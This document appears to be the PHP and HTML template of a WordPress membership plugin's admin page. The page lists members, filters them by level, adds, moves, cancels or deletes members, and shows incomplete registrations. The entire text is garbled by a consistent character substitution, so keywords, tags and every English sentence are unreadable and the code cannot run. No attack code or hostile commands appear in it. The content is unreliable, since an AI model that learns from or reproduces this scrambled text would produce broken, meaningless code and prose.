kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU /QzmU QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/uFEBuQzmUQumU/uxQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/luQzmUYY      QumUluQzmUY      QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUFDmxkBQplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU fDmxkB 3BtEBon 1suhQumU/uFEBuQzmUQumU/uxQzmUY      QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUDFsDBuBCQplrmU /QzmU dFsDBuBC 3BtEBon 1suhQumU/uFEBuQzmUQumU/uxQzmUY      QumUuxQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nmFmlnQplrmU kFulB=QplrmUFuuQplrmU /QzmU fDmxkB QFtqUFtqU dFsDBuBC 3BtEBonQumU/uFEBuQzmUQumU/uxQzmUY      QumU/luQzmUYY      QumUqQzmU?yBs hrl DuxDv myB QFtqUplrmUbiqrom 3BtEBonQFtqUplrmU Elmmrs, F AxuB jxuu CrjsurFC jyxDy hrl DFs nFkB mr hrlo CBnvmrq.QumU/qQzmUYY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUbiqrom 3BtEBonQplrmU /QzmUY      QumU/ArotQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_tBnnFzB(StBnnFzB, SuBkBu) { zurEFu StBtEBozBsxlnU SmBim = FooFh( QTPMGUFCCQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon FCCBC mr %uBkBu%.QTPMGU, QTPMGUtrkBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon trkBC mr %uBkBu%.QTPMGU, QTPMGUDFsDBuQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon DFsDBuBC Aort %uBkBu%.QTPMGU, QTPMGUlsDFsDBuQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon lsDFsDBuBC Aort %uBkBu%.QTPMGU, QTPMGUoBtrkBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon FCCBC mr %uBkBu%.QTPMGU, QTPMGUCBuBmBQTPMGU =QzmU QTPMGU$BuBDmBC tBtEBon CBuBmBC.QTPMGU, )U xA (VStBnnFzB) { oBmlosU } xA (VxnnBm(SmBim[StBnnFzB])) { oBmlosU } SuBkBu2FtB = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu2FtB(SuBkBu)U xA (VSuBkBu2FtB) { oBmlosU } Srlmqlm = SmBim[StBnnFzB]U Srlmqlm = nmo_oBquFDB(QTPMGU%uBkBu%QTPMGU, SuBkBu2FtB, Srlmqlm)U BDyr QTPMGUQumUCxk DuFnn=QplrmUlqCFmBC AFCBQplrmUQzmUQTPMGU.Srlmqlm.QTPMGUQumU/CxkQzmUQTPMGUU } qoxkFmB AlsDmxrs tBsl_tBtEBon_uxnm(StBnnFzB=sluu, StBnnFzB4BkBun=sluu) { zurEFu StBtEBozBsxlnU SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SFDmxrs = (xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUtBtEBonQplrmUU SqFzB = S_	b&;b$#[QplrmUqFzBQplrmU]U SnBFoDy = (xnnBm(S_	b&;b$#[QplrmUnQplrmU]) W S_	b&;b$#[QplrmUnQplrmU] : QplrmUQplrmU)U xA (qoBz_tFmDy(QTPMGU@\n@QTPMGU, SnBFoDy)) { SnBFoDyBn = qoBz_nquxm(QTPMGU@\n+@nxQTPMGU, SnBFoDy)U SnBFoDyBn = FooFh_tFq(QplrmUmoxtQplrmU, SnBFoDyBn)U SnBFoDyBn = FooFh_AxumBo(SnBFoDyBn, QTPMGUnmouBsQTPMGU)U SmyB$BFoDy = xtqurCB(QplrmU,QplrmU, SnBFoDyBn)U } BunB { SmyB$BFoDy = SnBFoDyU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_	b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = S_	b&;b$#[QplrmUuQplrmU]U } Suxtxm = NPPPPU xA (xnnBm(S_	b&;b$#[QplrmUqoBkxrln4BkBuQplrmU]) QFtqUQFtqU S_	b&;b$#[QplrmUqoBkxrln4BkBuQplrmU] V= SDlooBsm4BkBu) { SnBFoDy = QplrmUQplrmUU } xA (VBtqmh(SnBFoDy)) { SlnBo&lBoh = QplrmUQplrmUU SDlooBsm4BkBu = -OU } BunB { SlnBo&lBoh = QplrmUsltEBo=QplrmU.SuxtxmU } xA (xnnBm(S_9b#[QplrmUrQplrmU])) { xA (S_9b#[QplrmUrQplrmU] == QplrmUsQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=Axonm_sFtBQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUsUuQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=uFnm_sFtBQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUlQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=urzxsQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUBQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=BtFxuQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUoQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUoUCQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQFtqUroCBo=cb$dQplrmUU } } BunB { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQFtqUroCBo=cb$dQplrmUU } xA (SmyB$BFoDy) { SlnBo&lBoh .= QplrmUQFtqUn=SmyB$BFoDyQplrmUU } xA (SDlooBsm4BkBu QzmU= P) { SlnBo&lBoh .= QplrmUQFtqUuBkBu=SDlooBsm4BkBuQplrmUU } SlnBon = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(SlnBo&lBoh)U WQzmUYY      QumUyMQzmU3FsFzB 3BtEBonQumU/yMQzmUY      QumUWqyq Smyxn-QzmUtBsl_tBtEBon_tBnnFzB(StBnnFzB, StBnnFzB4BkBun)U WQzmUYY      QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs tFslFuuh FCC ro oBtrkB tBtEBon rA hrlo nxmB. ?yBs 3BtEBo 9Bsxln xn BsFEuBC, QumUEQzmUf44 rA hrlo DrsmBsmQumU/EQzmU (Fuu qFzBn FsC qrnmn rs myxn Eurz) FoB qormBDmBC Aort qlEuxD lnBon jxmyrlm Fs FDDrlsm.QumU/qQzmUYY      QumUqQzmU?yBs Fsh rA myB lnBon EBurj urzxs mr myB nxmB, myBh zBm FDDBnn mr QumUEQzmUkxBj f44 myB DrsmBsm.QumU/EQzmUQumU/qQzmUYY      QumUqQzmUfCC ro CBuBmB lnBon EBurj, FsC myBs nBm hrlo QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U WQzmUQplrmUQzmUQumUEQzmUqFhtBsmnQumU/EQzmUQumU/FQzmU mr EBzxs FDDBqmxsz trsBh.QumU/qQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUqFzBQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB)U WQzmUQplrmU /QzmUY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUqoBkxrln4BkBuQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY      QumUWqyq xA (nmoqrn(SnBFoDy, QplrmU\sQplrmU) V== AFunB): WQzmUY         QumUmBimFoBF sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU Drun=QplrmUHPQplrmU orjn=QplrmUKQplrmU /QzmUQumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY      QumUWqyq BunB: WQzmUY         QumUxsqlm mhqB=QplrmUnBFoDyQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQplrmU sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU rsCEuDuxDv=QplrmUtBtEBozBsxln_tlumxnBFoDy(myxn)UQplrmU /QzmUY      QumUWqyq BsCxAU WQzmUYY      QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BFoDyQplrmUQzmU Y      QumUF mxmuB=QplrmUfCC 2Bj 3BtEBoQplrmU yoBA=QplrmUT#e_xsuxsBWyBxzym=LKPQFtqUFtqUjxCmy=KPPQFtqUFtqUxsuxsB7C=tBtEBozBsxln_sBjtBtEBoQplrmU DuFnn=QplrmUFCC-sBj-yN myxDvEri tBtEBozBsxln_qrqlqQplrmU nmhuB=QplrmUmrq:-OqiUQplrmUQzmUfCC 2Bj 3BtEBoQumU/FQzmUY      QumU/qQzmUYY      QumUqQzmUY      QumUEQzmUeorjnB 4BkBu:QumU/EQzmU Y      QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU) . QplrmUQFtqUu=-OQplrmUU WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUfuu 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU) . QplrmUQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmU (QumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/qQzmUYY      QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu)): WQzmUY      QumUqQzmUdyBDv myB lnBon hrl jFsm mr DyFszB FsC tFvB hrlo nBuBDmxrs:QumUEo /QzmUYY      QumUsrEoQzmUY      QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBunQplrmU xC=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY         QumUrqmxrs kFulB=QplrmU-QplrmUQzmU4BkBun...QumU/rqmxrsQzmUY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY         QumUWqyq BsCAroBFDyU WQzmUY      QumU/nBuBDmQzmUYY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUfCC mr 4BkBuQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU3rkB mr 4BkBuQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU	BtrkB Aort 4BkBuQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUdFsDBu Aort 4BkBuQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU;sDFsDBu Aort 4BkBuQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUcBuBmB 3BtEBonQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_DrsAxot()UQplrmU /QzmUY      QumU/srEoQzmUY      QumU/qQzmUY      QumUWqyq BsCxAU WQzmUYY      QumUWqyqY Smyxn-QzmUtBsl_tBtEBon_mFEuB(SDlooBsm4BkBu, SlnBon, SuBkBun, SnBFoDy)U WQzmUYY      QumU/ArotQzmUYY      QumUCxk Fuxzs=QplrmUDBsmBoQplrmU xC=QplrmUtBtEBozBsxln_sBjtBtEBoQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUY         QumUCxk xC=QplrmUtBtEBozBsxln_qrqlqQplrmUQzmUY         QumUWqyq Smyxn-QzmUoBzxnmBo(molB)U WQzmUY         QumU/CxkQzmUY      QumU/CxkQzmUYY      QumUWqyq Smyxn-QzmUwFkFnDoxqm()U WQzmUYY      QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY      QumUV--Y      /*Y      TtBtEBozBsxln_qrqlq { yBxzym:KPPqiU }Y      T#e_jxsCrj { yBxzym:KPPqiU }Y      T#e_FwFidrsmBsm { yBxzym:KPPqi VxtqromFsmU }Y      */Y      /* T#e_mxmuB { CxnquFh:srsBU }*/YY      TtBtEBozBsxln_qrqlq { tFozxs-mrq:NPqiU }Y      TtBtEBozBsxln_qrqlq yM { Arsm-nxgB:NLqiU tFozxs:OPqi P NPqi PU qFCCxsz-Ermmrt:KqiU EroCBo-Ermmrt:Oqi nruxC TCECECEU }Y      TtBtEBozBsxln_qrqlq mFEuB mErCh mo mC { kBomxDFu-Fuxzs:mrqU qFCCxsz:NqiU }Y      TtBtEBozBsxln_qrqlq .CBnD { Arsm-nxgB:OOqiU Arsm-nmhuB:xmFuxDU qFCCxsz-Ermmrt:KqiU }Y      // --QzmUY      QumU/nmhuBQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_mBtq() { zurEFu StBtEBozBsxlnU WQzmUY      QumUyMQzmU7sDrtquBmB 	BzxnmoFmxrsnQumU/yMQzmUYY      QumUqQzmU#yBnB FoB qBrquB jyr yFkB qFxC trsBh xsmr hrlo nxmB Elm yFkB srm DrtquBmBC myBxo tBtEBo oBzxnmoFmxrs.QumU/qQzmUYY      QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs DyrrnB mr CBuBmB myBnB xsDrtquBmB oBzxnmoFmxrsn (Aro BiFtquB, xA myBh oBAlsCBC ro tFCB F ClquxDFmB qloDyFnB), ro DrtquBmB myBxo oBzxnmoFmxrs Aro myBt Eh DuxDvxsz myB FqqorqoxFmB oBzxnmoFmxrs uxsv EBurj.QumU/qQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUmyBFCQzmUY      QumUmoQzmUY         QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmU#oFsnFDmxrsQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmU2FtBQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmUbtFxuQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4BkBuQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU DuFnn=QplrmUsltQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUcFmBQumU/myQzmUY      QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUY      QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqn() Fn SmBtq): WQzmUY      QumUWqyqY SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SmBtq-QzmUuBkBu_xC)U Suxsv = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny) . QplrmUQFtqUDrtquBmB=QplrmU.SmBtq-QzmUmis_xCU WQzmUY      QumUmoQzmUY         QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_mBtqn[QumUWqyq BDyr xsmkFu(SmBtq-QzmU7c)U WQzmU]QplrmU /QzmUQumU/mCQzmUY         QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SuxsvU WQzmUQplrmUQzmUQumUEQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUmis_xC)U WQzmUQumU/EQzmUQumU/FQzmUY         QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUtBmF[QplrmUlnBosFtBQplrmU])U WQzmUQumU/mCQzmUY         QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUtBmF[QplrmUBtFxuQplrmU])U WQzmUQumU/mCQzmUY         QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY         QumUWqyq xA (SmBtq-QzmUuBkBu_nmFmln == QplrmUfQplrmU): WQzmUY         QumUWqyq BDyr SuBkBu-QzmUuBkBu_sFtBU WQzmUY         QumUWqyq BunB: WQzmUY         QumUnQzmUQumUWqyq BDyr SuBkBu-QzmUuBkBu_sFtBU WQzmUQumU/nQzmUY         QumUWqyq BsCxAU WQzmUY         QumU/mCQzmUY         QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY            QumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUmBtq_DoBFmBC)U WQzmU QumUntFuuQzmU(QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SmBtq-QzmUmBtq_DoBFmBC))U WQzmU)QumU/ntFuuQzmUY         QumU/mCQzmUY      QumU/moQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/mErChQzmUY      QumU/mFEuBQzmUYY      QumUqQzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_mBtqn_DrtquBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUdrtquBmB $BuBDmBC 	BzxnmoFmxrsnQplrmU /QzmUY      QumUxsqlm sFtB=QplrmUtBtEBozBsxln_mBtqn_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUcBuBmB $BuBDmBC 	BzxnmoFmxrsnQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(QTPMGUfoB QumUWqyq BDyr Dyo(HG)U WQzmUrl $;	b QumUWqyq BDyr Dyo(HG)U WQzmUrl ?Fsm mr cBuBmB myB $BuBDmBC 7sDrtquBmB 	BzxnmoFmxrsnW\s\sduxDv 15 mr CBuBmB, dFsDBu mr nmrq.QTPMGU)UQplrmU /QzmUQumU/qQzmUYY      QumU/ArotQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_mFEuB(SDlooBsm4BkBu, QFtqUSlnBon, QFtqUSuBkBun, SnBFoDy, SqFzB=O) { zurEFu StBtEBozBsxlnU SsBimdors = jq_sBim_nDyBCluBC(QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)U Smyxn0FzB = (xnnBm(S_	b&;b$#[QplrmUqFzBQplrmU]) W S_	b&;b$#[QplrmUqFzBQplrmU] : QplrmUQplrmU)U WQzmUY      QumUV-- mFEuB rA lnBon --QzmUY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUmyBFCQzmUY      QumUmoQzmUY         QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU]) QFtqUQFtqU S_9b#[QplrmUrQplrmU] == QplrmUsQplrmU): WQzmUr=sUuQumUWqyq BunB: WQzmUr=sQumUWqyq BsCxAU WQzmUQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU2FtBQumU/FQzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUr=lQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU;nBosFtBQumU/FQzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUr=BQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUbtFxuQumU/FQzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4BkBunQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU$lEnDoxEBCQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU DuFnn=QplrmUsltQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU]) QFtqUQFtqU S_9b#[QplrmUrQplrmU] == QplrmUoQplrmU): WQzmUr=oUCQumUWqyq BunB: WQzmUr=oQumUWqyq BsCxAU WQzmUQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU	BzxnmBoBCQumU/FQzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUbiqxoBnQumU/myQzmUY      QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUY      QumUWqyq AroBFDy (SlnBon Fn SlnBo): WQzmUY      QumUWqyqY SAxonmsFtB = zBm_lnBo_tBmF(SlnBo-QzmU7c,QTPMGUAxonm_sFtBQTPMGU, molB)U SuFnmsFtB = zBm_lnBo_tBmF(SlnBo-QzmU7c,QTPMGUuFnm_sFtBQTPMGU, molB)U SAluusFtB = SAxonmsFtB . QplrmU QplrmU . SuFnmsFtBU SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U xA (VSlnBo4BkBun || Vxn_FooFh(SlnBo4BkBun)) { SlnBo4BkBun = FooFh()U } WQzmUY      QumUmoQzmUY         QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUY            QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmUQplrmUQzmUY         QumU/myQzmUY         QumUmCQzmUQumUuFEBu nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmU Aro=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAluusFtB)U WQzmUQumU/uFEBuQzmUQumU/mCQzmUY         QumUmCQzmUQumUnmorszQzmUQumUF yoBA=QplrmUlnBo-BCxm.qyqWlnBo_xC=QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmUQFtqUFtqUjq_ymmq_oBABoBo=tBtEBozBsxlnQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUQumU/nmorszQzmUQumU/mCQzmUY         QumUmCQzmUQumUF yoBA=QplrmUtFxumr:QumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_BtFxu)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_BtFxu)U WQzmUQumU/FQzmUQumU/mCQzmUYY         QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY         QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY         QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY         QumUWqyq SoBzxnmBoBC = nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC)U WQzmUY            QumUuxQzmUQumUsrEo QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUnmhuB=QplrmUDruro:oBCUQplrmUQumUWqyq BsCxAU WQzmUQzmUY               QumUWqyq SuBkBu2FtB = SuBkBu-QzmUuBkBu_sFtBU WQzmUY               QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUfQplrmU): WQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu2FtB)U WQzmUY               QumUWqyq BunB: WQzmUQumUnQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/nQzmUY               QumUWqyq BsCxAU WQzmUYY               QumUWqyq xA (SuBkBu-QzmUuBkBu_mis): WQzmU QumUxQzmU(QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmU)QumU/xQzmUQumUWqyq BsCxAU WQzmUY            QumU/srEoQzmUQumU/uxQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/luQzmUY         QumU/mCQzmUYY         QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY         QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY         QumUWqyq 